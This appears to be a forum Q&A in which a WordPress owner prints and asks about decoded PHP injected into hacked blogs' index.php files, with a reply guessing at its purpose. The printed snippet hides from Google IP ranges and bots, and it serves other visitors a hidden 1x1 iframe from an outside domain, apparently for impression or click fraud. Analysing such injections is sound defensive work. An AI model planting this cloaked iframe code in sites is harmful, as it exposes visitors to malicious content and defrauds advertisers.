I maintain three wordpress blogs, and yesterday-morning, they were all hacked.
Inside all my index.php the first line looked as follows:

Aside from fixing it (which seems to have worked), I am wondering what it does, and to what purpose.
So I decoded the inserted code:

$stop_ips_masks = array(
array("216.239.32.0","216.239.63.255"),

);
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
$first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<iframe src="http://wumpearpmy.cz.cc/go/1" width="1" height="1"></iframe>';
}
Roughly, if I understand correctly, it will show an extra iframe with some source it will need to load, but only if the user-agent and ip are not in the list of blocked ips, or blocked bots. My guess: to make sure my site will not be blacklisted, but any visitor will still get spammed.
But I was still curious: what does it actually do?
So I followed the link to http://wumpearpmy.cz.cc/go/1 using RestClient and get the following returned HTML:

Ok. I can read groupon.com, but I am guessing that is just fake (too obvious?) and it will check for the existence of a cookie? Which cookie? I could not immediately deduce that. And it will post within two seconds to clicks.maximumspeedfind.com. I did not try to do that.
A lot of code to make sure the window remains small, nearly invisible. But there seems to be a lot of obfuscated code as well.
Can anyobdy enlighten me what they are trying to do here? And how?
Is this somebodies click-through rates they are trying to fake? (maybe naive).

First off, it hides itself from crawlers that would detect it and alert the webmaster. Second, it appears to be a phishing attack. Well, not quite. I think someone was getting paid for the number of impressions they got, and faked some by using iframes.
The short version is: nothing wholesome.
